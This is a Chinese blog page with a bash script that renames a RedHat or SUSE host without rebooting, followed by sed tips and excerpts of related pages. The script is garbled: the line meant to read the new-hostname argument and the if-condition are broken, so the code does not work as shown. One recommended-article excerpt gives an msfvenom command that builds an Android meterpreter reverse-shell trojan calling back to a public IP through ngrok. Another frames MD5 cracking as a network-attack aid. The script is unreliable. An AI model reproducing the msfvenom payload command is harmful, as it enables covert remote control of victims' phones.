需要用脚本修改主机名,涉及RedHat、SUSE系统,并且要求修改立即生效且不重启,下面就是我的脚本。

使用脚本的方法如下:

1 首先创建一个脚本文件,假如命名为ModifyHostname.sh: touch ModifyHostname.sh

2 然后给这个文件给这个文件赋予执行权限:chmod a+x ModifyHostname.sh

3 把下面的脚本内容,复制到ModifyHostname.sh文件中

4 执行脚本

sh ModifyHostname.sh Newhostname   #其中Newhostname就是新主机名

#!/bin/bash
PATH=/sbin:/usr/sbin:/usr/local/sbin:/root/bin:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/X11R6/bin:/usr/games:/opt/kde3/bin:/usr/lib/mit/bin:/usr/lib/mit/sbin
export PATH

New_Hostname=$
OSRelease=`lsb_release -i|awk -F : '{print $2}'|sed 's/\t//g'`

# Modify /etc/hosts or add one loop entry
Old_Hostname=`grep ${HOSTNAME} /etc/hosts|wc -l`
"x ]; then
    sed -i "s/${HOSTNAME}/${New_Hostname}/g" /etc/hosts
else
    echo "127.0.0.10 ${New_Hostname}">>/etc/hosts
fi

# Modify different OS's hostname
if [[ ${OSRelease} =~ 'SUSE' ]]; then
    echo "this is SUSE machine";
    #modify /etc/HOSTNAME file
    echo ${New_Hostname}>/etc/HOSTNAME;
    #immediate effect
    /etc/rc.d/boot.localnet stop;
    /etc/rc.d/boot.localnet start;
elif [[ ${OSRelease} =~ 'RedHat' ]]; then
    echo "this is RedHat machine";
    sed -i "s/${HOSTNAME}/${New_Hostname}/g" /etc/sysconfig/network;
else
    echo "this is donnotknow";
fi

# Modify varible
hostname ${New_Hostname}
export HOSTNAME=${New_Hostname}

echo "Hostname modify successfull!"
#今天在写一个脚本遇到问题,----需要在sed中引入shell变量,在网上搜了变天才找到,经过测试
#
#这四种方法都可用,在这里跟大家分享下,=---同时谢谢netman大哥,前辈就是前辈哈哈
#
#.eval sed ’s/$a/$b/’ filename
#.sed "s/$a/$b/" filename
#.sed ’s/’$a’/’$b’/’ filename
#.sed s/$a/$b/ filename

Linux修改主机名脚本-不重启-支持RedHat、SUSE的更多相关文章

  1. linux修改主机名的方法

    linux修改主机名的方法 用hostname命令可以临时修改机器名,但机器重新启动之后就会恢复原来的值. #hostname   //查看机器名#hostname -i  //查看本机器名对应的ip ...

  2. linux修改主机名(hostname)转载

    Linux修改主机名的方法 用hostname命令可以临时修改机器名,但机器重新启动之后就会恢复原来的值. #hostname   //查看机器名#hostname -i  //查看本机器名对应的ip ...

  3. Linux修改主机名!(图文)

    本篇作为之前的补充篇,如果想修改自己的主机名,方便老师检查作业是否是自己做的,可以用修改主机名的方法,那么怎么修改呢? 一. 使用hostname命令 比如我现在的主机名是haozhikuan-hbz ...

  4. CentOS Linux 修改主机名

    一.CentOS5 修改主机名 二.CentOS6 修改主机名 三.CentOS7 修改主机名 静态的(Static hostname)        "静态"主机名也称为内核主机 ...

  5. linux修改主机名

    查看机器名:uname -a 修改机器名: redhat中修改主机名 第一步:#hostname oratest 第二步:修改/etc/sysconfig/network中的hostname 第三步: ...

  6. Linux修改主机名方法

    [root@lyx ~]# vim /etc/hosts   vim代表修改,进入hosts文件进行添加192.168.10.128 hadoop128 [root@lyx ~]# hostname ...

  7. Redhat Linux 修改主机名(HOSTNAME)

    hostname #查看当前主机的主机名hostname NEWHOSTNAME #临时修改当前主机名 修改主机名vi /etc/sysconfig/network #通过配置文件修改主机名NETWO ...

  8. Linux 修改主机名 和 ip 映射关系

    1. 修改主机名 vim /etc/sysconfig/network NETWORKING=yes HOSTNAME=hadoop 2. 修改主机名和IP的映射关系 vim /etc/hosts 1 ...

  9. linux修改主机名+免密认证+关闭防火墙

    在很多软件安装的时候都有这些需求,因此在这里一起讲一下 修改主机名 简单的使用 hostnamectl 命令就好了 hostnamectl set-hostname NAME 免密认证 准备工作,修改 ...

随机推荐

  1. Java学习笔记3(数组)

    1.数组的定义: 第一种: public class ArrayDemo{ public static void main(String[] args){ //定义数组 int [] arr = ne ...

  2. [转]如何用adb控制MTKLogger

    [DESCRIPTION] 如何通过adb command去控制MTKLogger 开关,设定log路径等等. [KEYWORD] MTKLogger adb控制 路径 大小 [SOLUTION] 1 ...

  3. Linux 文本处理工具(grep sed awk )

    ^test: 以test开头; test$: 以test结尾: ^$: 表示空行,不是空格: . :代表且只代表任意一个字符(其他功能:当前目录,加载文件): \ : 代表转义字符,表示特殊字符: * ...

  4. 常用Linux命令笔记

    任何脱离业务的架构都是耍流氓 只记录实际常用的Linux命令 常用Linux命令 查找安装路径: whereis nginx 查询nginx进程: ps aux|grep nginx 查看 CentO ...

  5. Ajax的请求方式几传参的区别

    Get,Post,Put,Delete请求(ajax)方式的不通. http://blog.jobbole.com/99854/

  6. 发布到ASP.NET CORE项目到 Windows server 2012

    原文: https://github.com/zeusro/MarkdownBlog/blob/master/2018/2018-01-17-01.md 发布到ASP.NET CORE项目到 Wind ...

  7. 【JavaScript运算符与表达式】

    一.表达式 1.原始表达式:2.14,"test",true/false,null--复合表达式:10*20-- 2.数组.对象的初始化表达式:new Array(1,2),[1, ...

  8. 1c19b35b005744d55261682b361804fa 如何破解经过 MD5 算法处理的信息?

    Md5密文破解(解密)可以说是网络攻击中的一个必不可少的环节,是工具中的一个重要"辅助工具".md5解密主要用于网络攻击,在对网站等进行入侵过程,有可能获得管理员或者其他用户的账号 ...

  9. 使用python写一个简单的C段扫

    纠结C段查询N久..刚刚拿骚棒FD去抓御剑的包,发现emmm...申请了必应的Key 然后去拿必应API查.这里疼[心]原本也想去弄的.但是人懒. 然后就没有然后了. 代码: 生成IP段的脚本图1 # ...

  10. msfconsole弄外网手机木马

    创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ...